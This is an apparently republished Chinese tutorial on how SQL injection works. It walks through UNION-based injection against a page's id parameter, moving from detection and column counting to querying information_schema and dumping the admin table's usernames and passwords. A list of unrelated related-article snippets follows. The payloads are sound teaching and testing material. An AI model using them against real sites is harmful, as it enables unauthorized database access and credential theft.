mysql數據庫sql注入原理_SQL注入原理解析以及舉例1

sql注入是指web應用程序對用戶輸入數據的合法性沒有判斷,導致攻擊者可以構造不同的sql語句來實現對數據庫的操作。

sql注入漏洞產生滿足條件:

1;用戶能夠控制數據的輸入。

2;原本需要執行的代碼,拼接了用戶的輸入。

舉例:

攻擊流程:

1;判斷是否存在sql注入漏洞。

2;判斷網頁存在字段數。

3;判斷回顯點。

4;獲取信息。

測試開始:

測試目標獲取管理員賬號密碼

一;判斷是否存在sql注入漏洞。

1.1;構建sql語句:?id=1 and 1=2 查看頁面是否正常。結果頁面顯示不正常。

31f3828239a9d0993f4fd4e72fe0c3b9.png

注釋:因為id=1為真(可正常訪問頁面),且1=2為假,所以and條件永遠不會成立。對于web應用不會返回結果給用戶。則攻擊者能看到的是一個錯誤的界面或者頁面結果為空。當然,如果攻擊者構造的請求異常,也會導致頁面訪問不正常。

7b50c8a7ce689d14af7435635486c4d5.png

1.2;構建新的sql語句,確定是否存在語句邏輯錯誤導致頁面不正常。?id=1 and 1=1 結果頁面正常,初步判斷存在sql漏洞。

注釋:1=1 為真,and條件語句成立。

8207ff224cbd203f70535e208d04b043.png

二;判斷字段數:

2.1;構建sql語句:?id=1 and 1=1 order by 1 判斷網頁是否正常。?id=1 and 1=1 order by 2 判斷網頁是否正常。?id=1 and 1=1 order by 3 判斷網頁是否正常。結果:?id=1 and 1=1 order by 3 網頁顯示不正常,可以判斷字段數為2

注釋:order by 語句用來根據指定的列對結果集進行排序。詳細請參考網址:http://www.w3school.com.cn/sql/sql_orderby.asp “order by 1”表示對第一欄位進行排序,

三;判斷回顯點:構建sql語句:?id=1 and 1=2 union select 1,2 (之后的查詢結果將顯示在下圖紅框位置)

注釋:union 操作符用于合并兩個或多個select語句的結果集,union內部的select語句必須擁有相同數量的列。詳細參考:http://www.w3school.com.cn/sql/sql_union.asp

a1f25ef70090a8c9b20ced12af824dd2.png

四; 獲取信息

4.1;查看當前數據庫名以及數據庫版本。構建sql語句:?id=1 and 1=2 union select 1,database();?id=1 and 1=2 unio select 1, version()

注釋:union select 1 ,database(),其中數字1占一列,湊數,用來滿足union定義。database():表示網站使用的數據庫,version():表示當前mysql的版本,usr():當前mysql的用戶。

9ef26559b5712c6ef18cbdd4c7ec0bff.png

2b9966ddd09167856aacd945ffaa2f96.png

4.2;查詢當前數據庫以及表名稱。構建sql語句:?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

注釋:information_schema數據庫用于存儲數據庫元數據,例如:數據庫名,表名,列的數據類型,訪問權限等。tables用來存儲數據庫中的表的信息,包括表屬于哪個數據庫,表的類型,存儲引擎,創建時間等。table_schema和table_schema是表tables中的數據庫庫名和表名。limit 0,1 表示第一行顯示一行數據。limit 1,1表示第二行顯示一行數據。

212cc691186c2cb30c5213aa7cad9a5f.png

4.3;查詢表admin中的字段名。查詢三個字段:ID username? password

構建SQL語句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

構建SQL語句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1

構建SQL語句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1

注釋:columns表存儲表中的列的信息。其中包含數據庫庫名table_schema,表名table_name ,字段名column_name。

4.4;查詢用戶名稱:?id=1 and 1=2 union select 1,username from admin

ec5d104fa26e3b7d7229c357fa8881ab.png

4.5;查詢密碼:?id=1 and 1=2 union select 1,password from admin

c18b92517cb8039ff6de189cab645b0a.png

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/534488.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/534488.shtml
英文地址,請注明出處:http://en.pswp.cn/news/534488.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

mysql存儲map數據結構_map數據結構

Go map實現原理 - 戀戀美食的個人空間 - OSCHINA - 中文開源技術交流社區 https://my.oschina.net/renhc/blog/2208417// A header for a Go map.type hmap struct {// Note: the format of the hmap is also encoded in cmd/compile/internal/gc/reflect.go.// Make sure this…

四因素三水平正交表_做論文要用正交表?我打包送給你

正交試驗目前在國內的應用量仍然是比較高的,許多高校畢業生喜歡利用正交試驗來獲取研究數據,最終完成畢業論文的撰寫或者期刊投稿。正交試驗方案的設計,必然要用到(標準)正交表。那么大家都是從哪里獲取正交表的呢?小兵給這方面的…

plsql視圖添加表字段_Oracle-單表多字段查詢(不使用*)

環境:Oracle 11g,plsql 14目的:不使用*,查詢擁有上百個字段的表的所有字段。懶人大法:在文章末尾。sql實現邏輯:1、首先建一張100個字段以上的表,通過excel的方式將表建好后直接復制粘貼到plsql的建表界面。…

mysql 編譯安裝與rpm安裝的區別_編譯安裝與RPM安裝的區別

建議在安裝線上的生產服務器軟件包時都用源碼安裝,這是因為源碼安裝可以自行調整編譯參數,最大化地定制安裝結果。這里以MySQL 5線上環境的編譯安裝來說明之,其編譯參數如下所示:./configure-prefix/usr/local/mysql -without-deb…

python字符串變量s的值是python網絡爬蟲_【Python爬蟲作業】-字符串

一、定義字符串變量1.請定義三個字符串a,b,c值分別為 I,like, python2.請將上面三個變量合并輸出I like pythonaIblikecpythonprint(a)print(b)print(c)print(a,b,c)二、定義一個變量 s sdghHhf 1.請先將變量s的空白符去掉 賦值給新變量s1 打印輸出2.請分別將s1變為全部大寫(命…

lableimg閃退_CV學習筆記(二十五):數據集標注與制作

最近在做一些數據標注的工作,雖然標注數據比較枯燥,但這也是每個做算法的工程師升級打怪的必由之路。使用一些合適的工具往往可以事半功倍,效率UP。一:數據標注流程二:數據處理的一些小代碼1:重命名當得到這…

mysql show profile詳解_SQL 性能分析利器 show profile

本文首發個人公眾號《andyqian》, 期待你的關注~前言在之前的文章中,我們提到過一些慢SQL優化的步驟。其中就包括:使用 explain 關鍵字來查看執行計劃,是否命中索引。通過計算某列的區分度,來判斷該列是否適合新建索引…

php判斷給定的整數是否是2的冪_C++_C語言判斷一個數是否是2的冪次方或4的冪次方,快速判斷一個數是否是2的冪次 - phpStudy...

C語言判斷一個數是否是2的冪次方或4的冪次方快速判斷一個數是否是2的冪次方,若是,并判斷出來是多少次方!將2的冪次方寫成二進制形式后,很容易就會發現有一個特點:二進制中只有一個1,并且1后面跟了n個0&…

python 包編譯安裝mysql_CentOS7編譯安裝MySQL8.0.23和Python3.1.9

卸載mariadbrpm -qa | grep mariadbmariadb-libs-5.5.64-1.el7.x86_64yum remove mariadb-libs.x86_64 -y安裝高版本GCC,解決編譯中會遇到的GCC 5.3 or newer is required (-dumpversion says 4.8.5)cd /optyum install centos-release-scl -yyum install devtoolse…

python3.0下載用什么瀏覽器_無法讓Python下載網頁源代碼:“不支持瀏覽器版本”...

查看您列出的url,我執行了以下操作:使用wget下載了頁面將urllib與ipython一起使用并下載了頁面使用chrome,只保存了url所有3個都給了我相同的結果文件(相同的大小,相同的內容)。在這可能是因為我沒有登錄,但我確實看到…

java線程堆棧_深入JVM剖析Java的線程堆棧

在這篇文章里我將教會你如何分析JVM的線程堆棧以及如何從堆棧信息中找出問題的根因。在我看來線程堆棧分析技術是Java EE產品支持工程師所必須掌握的一門技術。在線程堆棧中存儲的信息,通常遠超出你的想象,我們可以在工作中善加利用這些信息。我的目標是…

java 文件下載方法_【工具類】Java后臺上傳下載文件的幾種方式

/*** 將本地照片上傳至騰訊云服務上*/public void uploadImage(String localImagePath) throws Exception {// 1.將訂單照片上傳至騰訊地圖眾包側提供的云服務上try {File imageFile new File(localImagePath);if (imageFile.exists()) {String url "http://" map…

java io流讀取txt文件_Java使用IO流讀取TXT文件

通過BufferedReader讀取TXT文件window系統默認的編碼是GBK,而IDE的編碼多數為UTF-8,如果沒有規定new InputStreamReader(new FileInputStream(file),“GBK”)為GBK會出現讀取內容亂碼。//文件路徑String filePath"C:/Users/Admin/Desktop/products.…

c 調用java程序_C ++可以調用Java代碼嗎?

小編典典是的,您當然可以。這是一個例子:這是java文件:public class InvocationHelloWorld {public static void main(String[] args) {System.out.println("Hello, World!");System.out.println("Arguments sent to this pro…

java 大數類_Java大數類介紹

java能處理大數的類有兩個高精度大整數BigInteger和高精度浮點數BigDecimal,這兩個類位于java.math包內,要使用它們必須在類前面引用該包:importjava.math.BigInteger;和importjava.math.BigDecimal;或者importjava.math.*;以下從幾個方面對B…

java 畫樹_java – 如何繪制代表連接節點圖的樹?

我想在Java GUI中顯示樹,但我不知道如何.樹代表連接節點的圖形,如下所示:我應該說我有自己的樹類:public class BinaryTree{private BinaryNode root;public BinaryTree( ){root null;}public BinaryTree( Object rootItem ){root new BinaryNode( roo…

mysql 優化代碼_MySQL Order by 語句優化代碼詳解

Order by語句是用來排序的,經常我們會使用到Order by來進行排序,下面我給大家來講講Order by用法與優化排序,有需要的同學可參考MySQL Order By keyword是用來給記錄中的數據進行分類的。MySQL Order By Keyword根據關鍵詞分類ORDER BY keywo…

java.lang.class_關于Java.lang.Class的一些疑問

User.class可以在編譯時就確定下來Class的泛型,而new User().getClass()實際上是運行時才能確定下來實際是什么泛型。舉個例子:public class User{}public class Student extends User{public static void main(String[] args) {User user1 new User();…

java文件 linux_Linux執行Java文件

最近學習shell腳本,寫個簡單java類讓linux去執行java類沒別的東西,就引了一個fastjson的jar,寫了個main方法 序列化一個User對象 打印package com.lws.demo;import java.util.Date;import com.alibaba.fastjson.JSONObject;import com.lws.mo…

java 劊子手游戲_java基礎(九):容器

集合的引入List (ArrayList LinkedList)Set (HashSet LinkedHashSet TreeSet )Map (HashMap LinkedHashMap TreeMap)CollectionsIterator使用泛型1.為什么使用集合而不是數組?集合和數組相似點都可以存儲多個對象,對外作為一個整體存在數組的缺點長度必須…